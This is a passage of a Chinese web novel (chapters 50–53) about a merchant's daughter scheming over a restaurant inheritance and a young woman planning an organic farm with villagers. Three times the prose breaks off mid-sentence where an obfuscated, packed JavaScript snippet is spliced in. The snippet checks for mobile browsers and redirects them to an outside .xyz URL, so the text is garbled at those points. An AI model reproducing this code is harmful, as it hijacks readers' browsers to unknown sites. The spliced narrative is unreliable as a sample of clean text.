范小娘子今日心情不错，早上用过兴隆堂的洗发水后发现自己的一头乌发更加油光顺滑了。她最珍爱自己的青丝，平日里没少在护发这件事上砸银子花心思，可惜市面上卖的洗发水都不及兴隆堂的产品好用。 “说来听听。”范小娘子慢条斯理道。 翠花掩嘴道：“小娘子猜得没错，赵家四郎的确不是被那王姓野丫头迷惑才答应同静缘庵合伙开香料铺子的。” 范小娘子撇嘴冷笑，“这不是显而易见的事么。” “小娘子真是聪慧，是奴婢蠢笨。”翠花溜须拍马的功夫简直炉火纯青。 范小娘子嗔笑道：“行了，别拍马屁了，赶紧说说到底是怎么回事？” “据说赵四郎是为了十三香才答应同静缘庵合伙开兴隆堂的。”翠花道。 50. 第五十章 “十三香？”范小娘子手中梳理发丝的牛角梳篦停了下来，诧异道：“那不是兴隆堂秘制的香料吗？” 翠花点头，“正是呢！听说这十三香便是那王姓野丫头研制的。” “不可能！”范小娘子将牛角梳篦用力拍在梳妆台上。 翠花一惊，心里暗暗叫苦，好不容易花钱打听来的小道消息，不会又触了小娘子的霉头吧？ “小娘子怎知不可能？”翠花小心试探。 范小娘子冷哼：“我好歹是樊楼范家的嫡长女，市面上什么样的调味料是我没见识过的？可偏偏这十三香却是闻所未闻，你觉得那王姓野丫头哪来的本事发明这等独特的香料？” 翠花想想也觉得有道理，“可奴婢打听来的消息确实是如此。听闻那王姓野丫头便是用这十三香烹制的米线征服了赵四郎的胃，这才勾得他同意合伙开香料铺子。” “怎么又是米线？”范小娘子喃喃自语：“李记米线的原汤肉丝粉之所以受欢迎听说也是用了十三香调味。” 翠花立刻抓住重点，“小娘子说的米线便是那王姓野丫头带来的，丰收村新修建的米线工坊也是她的。这家米线作坊专门替汴京各大米粮商加工干米线，生意老好了。” 范小娘子错愕，“她一个无家可归的流民修建了一家米线作坊？” “啊。”翠花道：“奴婢也觉得不可思议。” “她一个流民哪来这么多银子？”范小娘子嗤笑：“莫非是偷来的？” “听说是文老夫人给的赏银。”翠花咬牙道：“据文家的厨娘说那王姓丫头对研究吃食很有一套，她做的米粉不仅老夫人喜欢，连他们家七衙内也很喜欢。七衙内还听她怂恿给村里的流民出钱修了茅草房和蓄水池，还助力流民开垦梯田呢。” 范小娘子又嫉又恨，心里酸得冒泡，“这丫头倒是好手段，一头哄着赵四郎开香料铺子，一头又勾搭上了文家七衙内，她凭什么？！” “奴婢也觉得奇怪呢。”翠花看了范小娘子一眼，附和道：“按说这丫头也不是什么国色天香的美人，又没什么背景来历，她凭什么呀？就凭她会做米线吗？” 范小娘子心里一动，问道：“你适才说她的米线作坊专门给汴京的米粮商人加工干米线，生意很火爆？” “啊。奴婢亲眼看到米粮商将一车车的籼米运进作坊里加工，又从那边运回好几车干米线。”翠花若有所思：“难怪最近镇上吃米线的人越来越多，不过这米线口感倒确实不差。” 说到这里翠花突然意识到自己说漏了嘴，赶紧掌掴自己的嘴，讨饶道：“奴婢又说错话了，小娘子别跟奴婢计较。” 范小娘子却摆了摆手道：“罢了，说句实话我又不会吃了你。” 自家小娘子突然变得通情达理，翠花有些不敢相信，追问：“小娘子也觉得那米线好吃？” 范小娘子似笑非笑，“米线若是不好吃，又怎会博得文老夫人欢心？” 她是餐饮世家出身，虽在厨艺上没有突出的天赋，但胜在味觉灵敏，善于挖掘美食。打从李记米线开业的第一天，嗅觉敏锐的她便叫人去买回来品尝过了。这米线嗦起来顺滑，口感比汤饼更加爽口弹牙，而经过特殊调制的原汤肉丝更是咸鲜无比，难怪才刚上市就深受广大食客的追捧。 是以，她马上就想到若是能将李记米线的食谱弄到手，她便能借由米线打造一个全新的餐饮品牌，成为京城家喻户晓的招牌主食。于是私下遣人向李记父女开价询问米线和原汤的配方，结果对方非但没收钱，还大大方方表示干米线是周记米粮铺供应的，至于原汤肉丝的配方则是用赵太医家新开的兴隆堂香料铺子出品的十三香调制而成。 她虽性格骄纵，却不是头脑空空的富家女。李记父女的话叫她很快就明白过来，李记米线主要就是为了推销周记米粮铺的干米线和兴隆堂秘制的十三香。可周记的老板和兴隆堂的掌柜又怎会轻易将米线和十三香的秘方告诉她呢？谁承想，踏破铁鞋无觅处，得来全不费工夫，她想要的秘方居然出自同一人之手，关键对方还是她的死对头。 范小娘子银牙都快咬碎了，“这个王姓野丫头究竟是何来历你可打听清楚了？” “打听清楚了。”翠花拍着胸脯保证：“那丫头是金陵人士，听说出身还不错，可惜父母双亡，无依无靠，便来京城投奔未婚夫家。结果却被对方退了婚又得了时疫，差点死在汴京城外，所幸被静缘庵的老尼姑收留，才捡回一条命。” “这么说还真是个流民。”范小娘子掩嘴轻蔑笑道：“倒是有点本事，不过这米线同那十三香十有八九也不是她自创的，定是南方某地的吃食，只是在北地无人知晓罢了，平白叫她捡了个大便宜。” 翠花跟小鸡啄米似的连连点头称是：“小娘子高见！定是那丫头从别处偷来的秘方，谎称是自创，将文老夫人跟赵四郎骗得团团转，哄得他们出银子给她开什么香料铺子、米线作坊的。” 范小娘子沉默下来，心里倒是有点佩服起王姓丫头来。一个无依无靠的孤女竟然能在绝境里凭自己本事闯出一条活路来，而她，明明握了一手好牌，却打得稀烂。她很不甘心，自己哪一点比不上王姓丫头？她可是汴京城七十二家正店之首樊楼范家的嫡长女，若不是父亲宠妾灭妻，她何至于被“流放”到朱仙镇上来闭门思过。 一想到家中那个惯会吹枕边风的二姨娘，范小娘子就恨得牙痒。她本名范雨澜，是樊楼大东家范成仁的嫡长女。樊楼最初只是一间专门经销白矾的商铺，后来因为来此聚集交易白矾的商人多了，便改为了酒楼，故名白矾楼。【注1】 白矾楼最初的东家是范雨澜的外祖父家族，传到她外祖父这一代人丁越发稀少，外祖父老来得子，膝下只有一儿一女。儿子年幼，女儿又不能当家，恰好她父亲范成仁头脑灵活从伙计升职做了掌柜，于是顺理成章被外祖相中招做了上门女婿。 范雨澜出生没多久，外祖父便暴病而亡，父亲执掌大权，将白矾楼改名为樊楼，在他的运作下，樊楼一跃成为东京七十二正店之首。外祖父的遗嘱是要将白矾楼传给范雨澜的舅舅白起正的，却被她父亲暗中指 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15030192|158756||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 使母亲调包了遗嘱，结果白矾楼的股权便成了她母亲一个人的。 母亲是个软弱的妇人，父亲很快便将樊楼据为己有，年幼的舅舅被送去了乡下庄子里寄养。不过两年时间，父亲便纳了二姨娘为妾。二姨娘裘氏原是在樊楼卖艺的官妓，跟父亲暗通款曲有了身孕后，父亲便替她赎了身，还正大光明娶进门。 十月怀胎二姨娘一举得子，深得父亲宠爱，而母亲身为正妻却越来越不受父亲待见，偏偏肚皮还不争气，连生三胎都是女儿。生性要强的范雨澜从小在畸形的家庭环境里长大，暗恨自己不是男儿身，只能在后院跟二姨娘过过招，不过好在她还有一个卧薪尝胆的舅舅白起正。 从小被父亲送去乡下的舅舅非但没被养废了，还偷偷摸摸托人给范雨澜的母亲递信，信中表示他知道阿姊当年是被姐夫瞒骗才做下错事，也知道阿姊这些年过得不好，他早已原谅了阿姊，希望能跟阿姊再见一面。 在范雨澜的协助下，白氏跟白起正姐弟俩时隔多年重见后抱头痛哭了一场，解开了彼此的心结，还结成了战略同盟，他们要重新夺回樊楼的主控权。白氏膝下无子，担心范成仁会将二姨娘裘氏扶正，如此一来樊楼便是裘氏之子范长生的囊中之物了。若是真有那么一天，白氏和她三个女儿的日子怕是都不会好过。 只是范雨澜的母亲白氏素来懦弱，也没什么主见，做起事来总是瞻前顾后，犹豫不决。白起正担心白氏会露馅，便将性格跋扈、做事果敢的范雨澜也拉进了谋逆群。范雨澜早就看那裘氏不顺眼，也担心家中财产尽数落入裘氏之子手中，自己与两个亲姊妹将来若是没有巨额的嫁妆打底就别想嫁个好人家，对舅舅的夺权计划自是举双手赞成。 那裘氏早就想让范成仁将自己扶正，奈何樊楼往来的都是达官显贵，范成仁担心自己若是将官妓出身的妾室扶正，传出去对樊楼名声不佳，便一直没松口答应。只是那裘氏也不是傻的，既然一时半会儿不能名正言顺，那便先给自己和儿子攒一些家底，以免夜长梦多。 在裘氏的枕边风催促下，范成仁便将自己名下一部分庄子和铺子转给了裘氏，其中便包括原本答应给范雨澜做嫁妆的几间位于汴京城黄金地段的铺面。这件事成了范雨澜同裘氏之间内战的导火线，两个女人在后院唇枪舌剑，鸡飞狗跳，整日闹个不停，把范成仁气得差点中风。 白氏虽然不得范成仁欢心，但范雨澜却是范成仁的掌上明珠，只因她从小聪明伶俐，而且算命的说了她是财神爷附身，专旺她爹范成仁。范成仁的樊楼得来名不正言不顺，为了平息悠悠众口，自然是要把正妻白氏生的嫡长女拿出去当挡箭牌。所以，他素来对这个嫡长女是有求必应，宠爱有加。 可这次为了几间黄金铺子的归属权，范雨澜差点让裘氏毁容，权衡利弊之下，范成仁便将嫡女流放到朱仙镇上来闭门思过，等哪天她肯向二姨娘裘氏低头认错了再让她回汴京城去。 范雨澜岂会甘心受辱，来朱仙镇后不久便已同舅舅白起正见面密谋过了，这一回她要名正言顺夺回原本属于自己的一切。 51. 第五十一章 香料铺子正式开业后，王文茵只去过两趟，由张二嫂跟赵元宁联手打理，一切井井有条，既不需要她插手，更用不着她劳心劳力，她乐得做甩手掌柜，安心研发新产品，招募培训新员工，再计划如何将手头的几十亩地尽可能高效的利用起来。 王文茵对种地一事虽然一窍不通，不过没吃过猪肉她也见过猪跑，后世的很多农业养殖经验正是她身处的这个朝代最缺乏的，直接照搬自然行不通，至少可以参考借鉴，再根据实际情况因地制宜嘛。 她将丰收村卖地的几家农户和鲁大他们召集起来集思广益，打算把一些现代农业的先进生产耕种方式传授给他们，再用她买的这些田地作为试验田，开发出更多的农产品来推广普及。 “今日将大家召集起来是想跟在座的叔伯婶娘取点种地的经。”王文茵谦逊地笑了笑，“大家应该也听说了，我从未下过地，对农业耕种所知甚少，诸位叔伯婶娘兄嫂都是种地好手，大家不妨给我讲讲关于种地的事儿，让我学习了解一下。” 丰收村的几个农民互相看看对方，默契地转开了眼，他们自然是懂种地的，甚至有的还是种地的一把好手，但谁也不愿将自己的宝贵经验免费传授给旁人。 鲁大看看四周，发现没人愿意开口，内心颇为不忿。想当初王小娘子买地帮这些村民度过难关，如今她需要帮助的时候却没人愿意站出来，于是便第一个站了出来，“我鲁大虽不是种地好手，好歹家中也曾有过几亩薄田，小娘子想知道什么，我必定知无不言言无不尽。” 王文茵含笑点头，“我听说耕地最难的也是成本最高的便是除草，不知你是否有好的办法可以解决这个难题？” 鲁大摸了摸头，嘿嘿笑道：“小娘子说的没错，除草是农民最头疼的问题，一亩地光是除草一年就要用至少八个工。实不相瞒我确实有一个好办法可以解决除草的问题，还能将杂草转换成农作物的肥料。”【注1】 此言一出，丰收村的农民无不瞪大眼睛，竖起耳朵。除草这个麻烦事儿也是最令他们头疼的大问题，除了亲身下地手动除草，或者野烧，他们还真不知道有什么好办法可以将杂草转换成肥料的。 王文茵示意王大崔将一贯铜钱放到台子上，“你若真有除草的好法子，这一贯钱便是给你的奖励。” 在场众人不禁哗然，王小娘子好大的手笔，不过就是一个除草的法子就给一贯铜钱！ “大家都别惊讶，这一贯钱我买的是知识产权。”王文茵豪气道：“谁若是愿意将自己宝贵的耕地经验贡献出来，我一样有赏。” 鲁大在众人艳羡的目光注视下将自己的宝贵经验道了出来，“这除草的法子其实不是我自个儿想出来的，而是从一位老农那儿学来的。早年间我们家乡村子里在春耕之前都会在田里集中烧野草，一则是方便，烧过的野草就成了春耕的肥料；二则是为了消灭寄生在杂草中的害虫，防止新的一年这些虫子进入农田里面。”【注1】 “有一年，村里来了一群流民，最开始大家都排斥他们，不想让他们留在我们村子里，想尽一切办法驱逐他们。这时，流民当中有位老农站出来说他有一个比焚烧更好的办法可以清除杂草，若是我们愿意收留他们这些人在村子里，他便将这个法子传授给我们。要知道焚烧野草固然方便快捷，但污染空气又容易引起火灾，所以每年烧野草全村人都很紧张。若是真有比焚烧更好的法子能清除野草，让他们这些外来的人留在村子里又有何不可？” 这句话戳中了丰收村几个村民的肺管子，当初鲁大他们这些流民来此地寄居的时候，村民们集体反对，要县衙将流民赶走，免得占用了他们的土地。最后，是县令施压才被迫同意让流民集中住在山脚下的窝棚里。 鲁大像是没注意到村民的脸色，继续道：“那老农提出的除草法子便是用水淹。”【注1】 “水淹？”丰收村种地一把手丁桂忍不住开口道：“水淹能除草？真是稀罕事儿。” 鲁大不理会丁桂话语中的讥讽，兀自道：“一开始我也不相信水淹可以除草，但还是愿意用一亩地做试验，万一成功了，那以后便是一劳永逸的好事，即便失败我也没什么损失。随后在老农的指导下，我便在耕地之后将水放进田里，一个月后冬季长在田里的旱草果然都被水淹死了，而此时水稻田里竟然还长出了很多水草。”【注1】 “据老农说这些水草若是没有提前诱发出来，便会跟水稻竞争阳光和养分，现在只需将水放干后再在插秧之前耕一次地，这样便能将原本掠夺养分和阳光的杂草变成种植水稻的肥料。我照着老农传授的方法试了试，居然真的成功了！用水淹杂草，再用水诱发水草转为肥料的法子能大大降低除草的成本，自那以后我们村里的水稻田便都采用此法除草。”【注1】 鲁大话音刚落，村民们便叽叽喳喳讨论开了，有的觉得这法子听着简单，可以试一试，但大部分人都觉得是无稽之谈，唯独丁桂沉默不语。 王文茵将台子上的一贯铜钱往鲁大的方向一推，“水淹除草的法子能不能行，要试了才知道。既然鲁大哥提供了这个方法，这贯钱便是你的奖励。” 鲁大却没接，“小娘子帮我们这些外来的流民修屋子、建水池、开垦荒地，还给我们一份能养活一家人的工作，我感激还来不及，怎么能要你的钱。” 村民们直勾勾盯着那贯铜钱，暗想：这鲁大怕不是傻的吧，有钱拿还不要？ 王大崔将铜钱硬塞到鲁大怀里，“小娘子给你你就收下！矫情什么，你要是不收，其他人还肯贡献自家种地的秘方吗？” 鲁大想了想觉得王大崔言之有理，便将铜钱收入怀中，又躬身作揖跟王文茵道谢后退到一边。 有人踏出了成功的第一步，自然有更多跃跃欲试的后继者，村民们纷 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15034242|158756||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 纷举手表示要贡献自己最宝贵的种田经验。 王文茵眯眼笑着点头，“大家不用急，一个一个来，凡是留箱底的好法子一旦被采纳便有赏金可得。当然，若是随便拿点大家都知道的东西出来糊弄我，自然也是没有奖励的。” 话音刚落，适才举起的一双双手又都缩了回去。 王小娘子虽然年轻，可一看就不是好忽悠的，更别提她现在还是在座所有人的雇主。骗了她没奖金就算了，要是把她得罪了，岂不是连工作都要丢？大家想了想还是把奖金留给最有资格那个人吧。 要说这丰收村里谁最懂种地，那便一定是丁桂，村民们不约而同将视线投向了他。 丁桂在众人的注视下站起了身，舔了舔牙，道：“我确实有一些种地的不传之法可以告诉小娘子你。” 王文茵点头，“且说来听听。” 丁桂却道：“但我有一个要求。” 王文茵哦了一声：“什么要求？” “小娘子若是答应将名下的田地全都交于我打理，我便无偿奉献宝贵的经验。”丁桂说完自信地看着王文茵。 王文茵思忖片刻后摇头，“怕是不行。” 丁桂十分不解，一脸失望，“小娘子是信不过我吗？在咱们丰收村说起种地来我若是称第二，怕是没人敢称第一。” 王文茵微微一笑，“丁大叔误会了，我并非不信任你的能力，而是我要用这些田地做的事怕不是你一人可以全权负责的。” “小娘子打算做什么？” 丁桂好奇极了，不就是种地嘛，就那么几种农作物，还能指望这几十亩地种出什么新花样来？ 王文茵看了看在座众人，含蓄道：“我想将这几十亩地开发成有机生态农场。” 有机生态农场？还真是……新鲜！ 种了几十年地的老农民们居然闻所未闻。 就连鲁大也瞪大眼咕哝：“啥是有鸡生……太农场？” 王文茵轻咳一声，王大崔马上将一副画拿出来挂在木板子上展示给众人看。这是王文茵亲手所绘的一副农场平面规划图，她拿出一根类似教鞭一样的竹棍，指点着画上分布的几块区域讲解给大伙儿听。 “这幅图上便是我先前从大家手里买下的几十亩田地，我了解过了，大家先头种植的农作物比较单一，是以每亩地的经济效益相应的也比较低。我打算改造这些田地的种植方式，建一个有机生态农场。” 王文茵用教鞭指着边上几个字。 几个农民不识字，鲁大却是认识的，只不过这些字组合在一起他就不知道是什么意思了。 “大家不用管什么叫有机生态农场，只需知道这个农场能做些什么。”王文茵指着平面图上几个不同的功能分区道：“这个有机生态农场将分为种植区域、养殖区域、有机肥料堆肥发酵区域、以及农产品的加工区域。”【注1】 52. 第五十二章 真是闻所未闻！ 区区几十亩地居然能开发出这么多功能来，这又是种地又是养殖的，还附带什么堆肥、食品加工？在场的农户心里暗暗发笑，王小娘子怕不是想多了吧？ 王文茵都不用问，从农户们脸上就能看出他们心里在想什么。 “大家是不是觉得不可思议？几十亩地能做这么多事。” 农户们不吭声，默认一个连地都没种过的小娘子也就只会纸上谈谈兵罢了。 王文茵轻咳一声，“实不相瞒，我虽没下过地，但我好歹也是见过猪跑的。其实这个有机生态农场的方案并非是我异想天开捣鼓出来的，而是从欧罗巴洲的农民那儿学来的。” 欧罗巴洲？那是什么地方？ “大家不用管欧罗巴洲在哪里，那是比西域更西面的一块大陆，在那儿生活着很多高眉深目的农民。”王文茵把手一挥，轻描淡写道：“欧罗巴洲的土地不像咱们大宋朝这么广袤，在耕地面积有限的情况下当地的农民便会将土地的经济价值发挥到极致。” 农户们一头雾水，王小娘子到底在讲啥呀，不就是种地嘛，啥是经济价值，能吃吗？ 鲁大忽然举起了手，“小娘子，我有个问题想请教。” 王文茵笑着点了点头，“你且说。” 这其实是她事先跟鲁大约定好的，让他来当托活跃会议气氛，不然只有王文茵一个人讲，大家都会听得睡着。 “种植区内为何要分育苗区、大棚种植区、小拱棚种植区，和露天种植区这几个不同区域？”鲁大问道。【注1】 “问得好！”王文茵给鲁大竖了个大拇哥，“分区种植的目的是为了根据季节来轮流种植农作物，先说育苗区，我想问大家通常都是怎么育苗的？” 王文茵把目光投向了丁桂，见有机会表现，丁桂也不谦虚，说道：“通常都是育苗和种菜交替进行，比如一块上菜蔬生长之时，便在另一块菜畦上培育秧苗。”【注1】 “这便是传统的育苗方式，受制于自然条件的影响，育苗苗龄长、大小参差不一、成本高，还会因冻害或病虫害等自然灾害造成缺苗。”王文茵道。【注1】 这是实话，丁桂也不得不承认，“确实如此。敢问小娘子可有更好的育苗方式？” 王文茵抿嘴一笑，“我特地规划了一块育苗区，因为我们要做工厂化育苗。” 她拍了拍手，王大崔便出门去了。很快他又折返回来，跟穆叔两人一人抬一边，将一个竹制的长方形屉子抬了进来。 这是什么新鲜玩意儿？农户们都好奇地围上来看稀罕。 只见长方形的屉子被隔成一个个小小的方格子，格子里面铺满了土壤，每一个方格子中央都生长着一株近乎一般大小的青绿绿的健康秧苗。 居然还能这么干？农户们都惊了。 “这是啥？” “秧苗还能这么培育？” “真稀奇啊，不过苗长得倒是不错。” …… 农户们叽叽喳喳讨论不休，简直像是打开了新世界。 “这便是工厂化育苗。它的好处是便于集中管理，技术统一，还不占菜畦田地，秧苗的出苗期和生长趋势都可以保持一致，质量也比一般的秧苗要好不少。”王文茵捏着其中一株秧苗的根部将其连根须带土壤从方格子中拎了起来给大家看：“你们看它的根系是不是更加紧密，这样移栽的时候就不容易伤根，也便于远距离运输。”【注1】 “工厂化育苗不仅成苗率高，还能节约种子，省时省工。培育出来的秧苗不仅自己可以种植，还可以卖给别家农户。无论他们想要什么样的苗，咱们都可以培育，这种秧苗便叫商品苗，可作为商品买卖。”【注1】 从王文茵手中接过秧苗块，丁桂激动得双手微微颤抖，王小娘子帮他打开了新思路，原来种地不全是靠天吃饭，还能靠技术，丁桂心服口服。 “小娘子，适才是我托大了，你才是种地好手，我甘拜下风。” 王文茵噗呲一笑，摆手道：“丁叔，你误会了，我不会种地，这些都是从书上学来的，专业的事还是要交给专业的人来做，今后咱们农场的种植区就由你来负责吧？” 丁桂感激涕零：“小娘子信得过我，我一定不负重托，帮你把田地都打理好了！” 其他几个农户也纷纷表态：“小娘子，我们也能帮你种地。” “大家都别急，农场里除了种地还有不少别的活儿可以干。”王文茵指着平面图中的养殖区域道：“这一块是养殖区域，以养鸡为主。我让穆叔打造一个可移动的圈舍，白天的时候将鸡圈移动到有青草的地方放养，待晚间再将鸡群带回到窝棚内休息。”【注1】 王文茵展开一张移动鸡圈的图纸给众人看。这是一个木制的底部带轮子的类似现代蔬菜大棚造型的鸡圈，顶部盖一层油布可防风防雨，四周则围绕一圈竹编的栅栏，防止鸡群乱跑。大棚前方由骡子牵引，鸡群便可在棚子内跟着鸡圈随时移动到草木丰饶的地方啄食。【注1】 武大家的娘子举起了手，“小娘子，别的我不懂，但这养鸡我倒是可以说上两句。” “对，对，武大娘子可是咱们村的养殖专业户。” 边上有人帮着说了句话，武大娘子挺了挺胸，脸上带着一丝骄傲。 王文茵便将武大娘子请到前面来，“那便有请武大娘子给我们大家说道说道养鸡的经验。” 武大娘子生平第一回当着这么多人的面传授自己的养鸡经，脸上一阵臊，心跳不自觉快了一拍，两只手在衣服上搓来搓去，有些手足无措的样子。 王文茵将教鞭放到武大娘子手中，鼓励似的冲她笑了笑，低声道：“大娘子别紧张，都是乡里乡亲的，没啥可怕的。” 武大娘子想想也是，心神定了定，轻声道：“养鸡得分两个阶段，第一阶段便是小鸡苗的孵化成长阶段。刚孵化出来的鸡苗需要两到三周的过渡养殖期，在此期 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15037487|158756||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 间鸡苗必须在一个固定的区域内养殖，不能随便移动。”【注1】 王文茵哦了一声，将武大娘子的话认真记录下来。 得到了王文茵的首肯，武大娘子信心倍增，声量也高了起来，“小鸡苗抵抗力弱，须得事先在养殖区内铺设一层松软的刨花和干草，光照、温度、水源和幼鸡的饲料也是必不可少的。另外可以适当给小鸡苗喂点糖水混合物，增强鸡苗的抵抗力。三周过后方可进入第二阶段，此时可将幼鸡投放到户外的移动大棚内饲养。”【注1】 王文茵上前握住武大娘子的手，提议道：“大娘子可愿意承包农场的养鸡业务？” “承包？咋个承包法？”武大娘子的心脏突突跳，她自然是愿意的，但前提是小娘子能给她足够优厚的待遇。 王文茵想了想，道：“有两种承包方式。其一是作为股东，你我合资，各占一部分股份，待肉鸡成熟售出后再按比例分成，若是期间有鸡死亡，那么损失也是按比例分担；其二则是作为员工，每个月有固定的薪水，干得好年底还有分红。当然鸡场若是有损失也会从分红中扣除，若是损失太大，则会被辞退。” 武大娘子有些纠结，支吾道：“这我自己可不好决定，我得跟我家男人商量一下才行。” 王文茵拍拍她的胳膊，“你们回家慢慢商量，商量好了再过来找我便是。” “哎，好。”武大娘子很高兴，回到自己男人身旁，两人嘀嘀咕咕了起来。 王文茵面向众人鼓舞道：“除了养鸡，我还打算养鸭子、猪、牛、羊、兔子等动物，若是在座诸位，或是村子里有谁在这方面比较擅长的，都可以来跟我合作，丰收农场欢迎你们！” 所有人都很兴奋，先前他们还在嫉妒流民抢了先机，早他们一步在米线作坊里打工挣到了钱，眼下王小娘子也给他们提供了一个大好的机会，于是便争先恐后举手表示自己可以胜任。 王文茵将手往下按了按，“大家都别急，等散会后咱们再详谈，下面我要说的是第三个区域，也就是有机肥的堆肥发酵模块。” “啥堆肥？咱们都是用粪尿沤肥。”有农户小声咕哝了一句。 一般农家沤肥都是用人粪尿或动物的粪便，但人的粪尿是不能直接用来施肥的，必须经过发酵腐熟后才能施用。一则是因为粪尿中有人体消化不完的有机物，比如氮磷素，二则是人粪中含有病菌和虫卵，经过发酵腐熟后病菌和虫卵大部分都被杀死了，也就减少了病菌滋生繁殖。【注1】 王文茵点头，“用粪尿沤的肥确实是一种肥力比较高的有机肥，但我想问问大家，这种肥对土壤有没有改良作用？” 所有人不约而同摇了摇头，这正是农民们比较苦恼的问题，高强度种植一块地，这块地的土壤就会出现肥力下降，从而导致农作物减产的严重后果。 “解决土壤肥力下降的关键就是堆肥。”王文茵顿了顿道：“堆肥不仅可以帮助改良土壤，还可以赚取银子！” 53. 第五十三章 原本对于堆肥这件事兴趣缺缺的农户们一听说堆肥可以换银子，立马精神一振，竖起耳朵恭听。 “小娘子你给咱们详细说说该怎样堆肥吧。” 王文茵注意到农户们跃跃欲试的眼神，便笑了笑道：“堆肥不像沤肥，沤肥属于速效肥料，一般冬天半个月，至多二十日，夏季只需六七日便可发酵腐熟用于施肥了。堆肥是一个漫长的过程，至少需要一年半至两年的时间。”【注1】 说到这里王文茵停了下来，看了看四周，发现大部分的农户眼神里流露出一丝失望的神情。也是，养鸡的话半年就能出货，种地一年四季可以交替种植，轮流收获，而堆肥耗时久就算了，堆出来的肥料也不知该卖给谁去。 现场只有一个叫赵大郎的农户眼神看起来跟其他人不太一样。 赵大郎家中只有三亩薄田，其中两亩卖给了王文茵用来还高利贷，余下一亩收成不高，来年还不知道该种些什么。他不像丁桂会种地，也不如武大娘子会养鸡，唯一的优点是不怕脏不怕苦，既然王小娘子说了堆肥可以换银子，那这活儿他必须争取一下。 “小娘子，我……我……”赵大郎举起手来，身边的人唰一下把目光都转向了他，他有些害臊，但还是硬着头皮自荐：“我不怕脏、不怕臭、不怕累，我没啥本事，小娘子若是觉得我可用，便让我试试吧。” 王文茵给了赵大郎一个鼓励的笑容，转身对众人道：“大家可别小看了堆肥，堆肥用好了不仅可以修复土壤，还能帮鸡舍、猪舍、牛羊棚舍祛除臭味。可以说，堆肥就是有机生态农场的根本。”【注1】 众人将信将疑，堆肥真有王小娘子说的这么神奇吗？他们觉得不可思议，但还是愿意听王小娘子讲讲该如何堆肥。 “堆肥其实不难，就是有点麻烦，需要定期原地翻堆，还需要发酵固化。”王文茵道：“堆肥需要的是树叶、木片、木屑等含有碳的有机原料，这是占比最大的部分。”【注1】 赵大郎心说：这个简单，山上、林子里到处都是落叶，他可以每天带着家里的婆娘孩子一起去收集，要多少有多少。 “其次就是各种食物的厨余和残渣，这些可以向村民收集，也可以去朱仙镇找正店脚店低价回收。”【注1】 有村民提问：“吃剩下的残渣和厨余小娘子真的愿意花钱回收啊？” “是的。”王文茵肯定道：“大家把残渣和厨余都收集起来，我们定期统一回收。” 村民们喜不自禁，垃圾都能换钱，这钱也忒好赚了吧。 王文茵又强调了一句：“注意啊，是食物的残渣，不是什么垃圾都要，若是混入了其他什么乱七八糟的东西，那我们可不能收。” 村民回过神来，感情垃圾还要分类啊。 “第三类原料便是各种动物的粪便混合物。”王文茵接着道：“最后一类是废弃的鱼虾、鱼渣、贝类等，这些也得去朱仙镇上收购，那边有运河，鱼类河鲜买卖频繁，运气好说不定都不要钱。”【注1】 赵大郎一一记在心里，收集这些堆肥的原材料虽然辛苦，好在只是力气活，他脑子不行，身体还挺好。况且家里还有两个能帮忙干活的孩子和一个婆娘，必要时爹娘也能搭把手，一家六口齐上阵，还愁挣不着钱？ 王文茵将视线投向赵大郎，“将以上这些堆肥用的原材料都收集起来后便可在有氧的环境下进行混合发酵。”【注1】 “小娘子，啥叫有氧？”赵大郎举手提问。 “问得好！”王文茵很喜欢这样的互动，有助于加深印象，“你们沤肥的时候是不是都要加盖密封？” 赵大郎点头唔了一声。 “加盖密封一是为了减少粪尿发酵腐熟过程中氨肽氮的损失，你们一定想问氨肽氮是什么？这其实就是粪尿发酵腐熟后的产物。二是为了杀死粪尿当中的吸血虫和寄生虫卵，还能防止苍蝇飞虫到处传播。”王文茵解释道。【注1】 “加盖密封沤肥就是在缺氧的环境下进行微生物的分解，所以也叫厌氧发酵。氧气就是咱们每日吸进肚子里的空气，厌氧就是在没有氧气的情况下发酵，这样说大家能理解吗？”【注1】 赵大郎似懂非懂点了点头，反正沤肥就是要加盖子密封，这是他爹告诉他的。 “那么与厌氧发酵相反的就是有氧发酵，也就是说堆肥不需要加盖子密封，可以露天发酵。”王文茵道。 这么一解释大家很快就明白了，沤肥要加盖密封发酵，堆肥可以露天发酵。 不过还是有人提出了疑问：“露天发酵会不会臭死人啊？” “好问题！”王文茵拍手道：“厨余残渣、废弃的鱼虾贝类、还有粪便都会产生臭味，所以我们的堆肥区选在相对空旷，通风良好的地方。”她指着平面图上一块远离村民屋舍的旱地道。 